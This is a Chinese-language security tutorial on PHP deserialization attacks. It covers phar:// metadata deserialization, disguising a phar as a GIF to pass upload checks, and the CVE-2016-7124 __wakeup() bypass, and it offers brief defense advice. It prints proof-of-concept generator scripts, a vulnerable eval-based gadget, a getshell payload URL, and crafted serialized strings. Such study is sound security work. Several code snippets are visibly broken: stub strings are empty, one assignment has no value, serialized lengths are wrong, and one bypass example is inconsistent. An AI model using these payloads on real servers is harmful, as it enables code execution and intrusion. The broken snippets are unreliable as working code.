PHP反序列化漏洞【三】

PHP反序列化漏洞【三】

来学习下

• phar反序列化漏洞，拓展php反序列化漏洞的攻击面
• 特定PHP版本下__wakeup()魔术方法绕过漏洞（CVE-2016-7124）

phar反序列化漏洞

通常我们在利用反序列化漏洞的时候，只能将序列化后的字符串传入unserialize()，随着代码安全性越来越高，利用难度也越来越大

在2018 Black Hat大会上，安全研究员Sam Thomas分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it，利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展了php反序列化漏洞的攻击面

该方法在文件系统函数（file_exists()、is_dir()等）参数可控的情况下，配合phar://伪协议，可以不依赖unserialize()直接进行反序列化操作

基本概念

• phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件，用于归档
• PHP >=5.3 时默认开启支持phar文件
• phar文件默认状态是只读，使用phar文件不需要任何的配置。因此若要创建phar文件需要php.ini关闭只读
• phar://伪协议即PHP归档，用来解析phar文件内容

phar文件结构

在了解攻击手法之前先学习下phar的文件结构，通过查阅PHP手册可知一个phar文件有四部分构成：

a stub

可以理解为一个标志，格式为xxx，前面内容不限，但必须以__HALT_COMPILER();来结尾（?>可以省略也可以包含），否则phar扩展将无法识别这个文件为phar文件

a manifest describing the contents

phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这里即为反序列化漏洞点

the file contents

被压缩文件的内容

[可选] 验证phar完整性的签名

签名，放在文件末尾，格式如下：

Length in bytes	Description
16 or 20 bytes	实际签名，SHA1签名为20字节，MD5签名为16字节，SHA256签名为32字节，SHA512签名为64字节。
4 bytes	签名标志. 0x0001 用于表示是 MD5 签名, 0x0002 用来表示是 SHA1 签名, 0x0004 用来表示是SHA256签名, 0x0008用来表示是SHA512签名。 API版本1.1.0引入了SHA256和SHA512签名支持。
4 bytes	Magic GBMB 用于定义签名的存在

构建phar文件

根据文件结构，自己构建一个phar文件，php内置了一个Phar类来处理相关操作

*注意：要将php.ini中的phar.readonly选项设置为Off，否则无法生成phar文件

// phar.php
<?php
    // 定义类
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
	//__HALT_COMPILER(); 结尾也是可以的

    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data即对象存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行phar.php，同目录下生成phar.phar文件，使用010 Editor打开文件可以清晰看到phar文件的结构，其中meta-data是以序列化的形式存储的：

有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，测试后受影响的函数如下：(引用seaii师傅整理图)

通过一个小demo证明一下

//phar_test.php
<?php 
    class TestObject {
        public function __destruct() {
            echo '对象被销毁，Destruct触发';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

执行phar_test.php，如下图，file_get_contents函数在通过phar://伪协议解析phar文件时，会将meta-data进行反序列化操作

于是当文件系统函数的参数可控时，我们可以在不调用unserialize()的情况下，进行反序列化操作，许多的文件函数都可以触发，极大地拓展了攻击面

注意：对于一个前后调用多个file函数的phar文件，只会反序列化一次

将phar伪造成其他格式的文件

php识别phar文件是通过其文件头的stub，更确切一点来说是__HALT_COMPILER();?>这段代码，对前面的内容或者后缀名是没有要求的

那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

//phar_gif.php
<?php
    class TestObject {
    }

    @unlink("phar-gif.phar");
    $phar = new Phar("phar-gif.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a".""); //设置stub，增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行phar_gif.php，查看生成phar-gif.phar格式

同样，将phar-gif.phar后缀改为gif进行phar://伪协议解析

//phar_test.php
<?php 
    class TestObject {
        public function __destruct() {
            echo '对象被销毁，Destruct触发';
        }
    }

    $filename = 'phar://phar-gif.gif/test.txt';
    file_get_contents($filename); 
?>

发现仍然可以识别为phar，进行反序列化

可以看到，可以轻易将phar文件伪造为其他格式（gif/png/jpg等），采用这种方法可以绕过很大一部分文件上传检测

利用条件

• phar文件要能够上传到服务器端
• 如file_exists()，fopen()，file_get_contents()，file()等文件操作的函数要有可用的魔术方法作为”跳板”
• 文件操作函数的参数可控，且: / phar等特殊字符没有被过滤

漏洞验证

upload_file.php后端检测文件上传，文件类型是否为gif，文件后缀名是否为gif

	if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    	echo "Upload: " . $_FILES["file"]["name"];
    	echo "Type: " . $_FILES["file"]["type"];
    	echo "Temp file: " . $_FILES["file"]["tmp_name"];

    	if (file_exists("upload_file/" . $_FILES["file"]["name"])){
      		echo $_FILES["file"]["name"] . " already exists. ";
      	}
    	else{
      		move_uploaded_file($_FILES["file"]["tmp_name"],
      		"upload_file/" .$_FILES["file"]["name"]);
      		echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      	}
    }
	else{
  		echo "Invalid file,you can only upload gif";
  	}

upload_file.html

file_un.php存在file_exists()，并且存在__destruct()

$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

根据file_un.php本地写一个生成phar的poc.php文件，在文件头加上GIF89a绕过gif，然后执行poc.php文件后，生成phar.phar，修改后缀为gif，上传到服务器，然后利用file_exists，使用phar://执行代码

//构造poc.php
<?php
class AnyClass{
    var $output = ;
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'');
$phar -> addFromString('test.txt','test');
$o = new AnyClass();
$o -> output= 'phpinfo();';
$phar -> setMetadata($o);
$phar -> stopBuffering();

访问poc.php生成phar.phar，将后缀改为gif

然后上传到upload_file目录（与file_un.php同目录）之下

利用file_un.php中的危险函数getshell

payload:file_un.php?filename=phar://upload_file/phar.gif/test

防御方法

1. 在文件系统函数的参数可控时，对参数进行严格的过滤。
2. 严格检查上传文件的内容，而不是只检查文件头。
3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

__wakeup()魔术方法绕过

漏洞原理

当反序列化字符串中，表示对象属性个数的值大于真实属性个数时，会绕过 __wakeup 方法的执行。

如：

构造序列化对象：O:1:"A":1:{s:6:"target";s:18:"...";}
绕过__wakeup：O:2:"A":1:{s:6:"target";s:18:"...";}

漏洞影响范围

• PHP5 < 5.6.25
• PHP7 < 7.0.10

PHP5.5.38的wakeup绕过

假设有以下代码：

    
class A{
    public $target = "f4ke";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        $fp = fopen("./flag.php","w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}
$a = $_GET['str'];
$b = unserialize($a);
echo "flag.php"."
";
include("./flag.php");
?>

由于魔术方法__wakeup()要比__destruct()先执行，即当str值传入：

O:1:"A":1:{s:6:"target";s:18:"";}

会被先执行的__wakeup()函数$target赋值覆盖为wakeup!，然后生成的flag.php里面的内容就是wakeup!

现在根据漏洞原理：对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行，对象属性个数由1改为2，即

O:1:"A":2:{s:6:"target";s:18:"";}

就能实现绕过__wakeup()直接将phpinfo();语句写入flag.php并执行

参考

https://paper.seebug.org/680/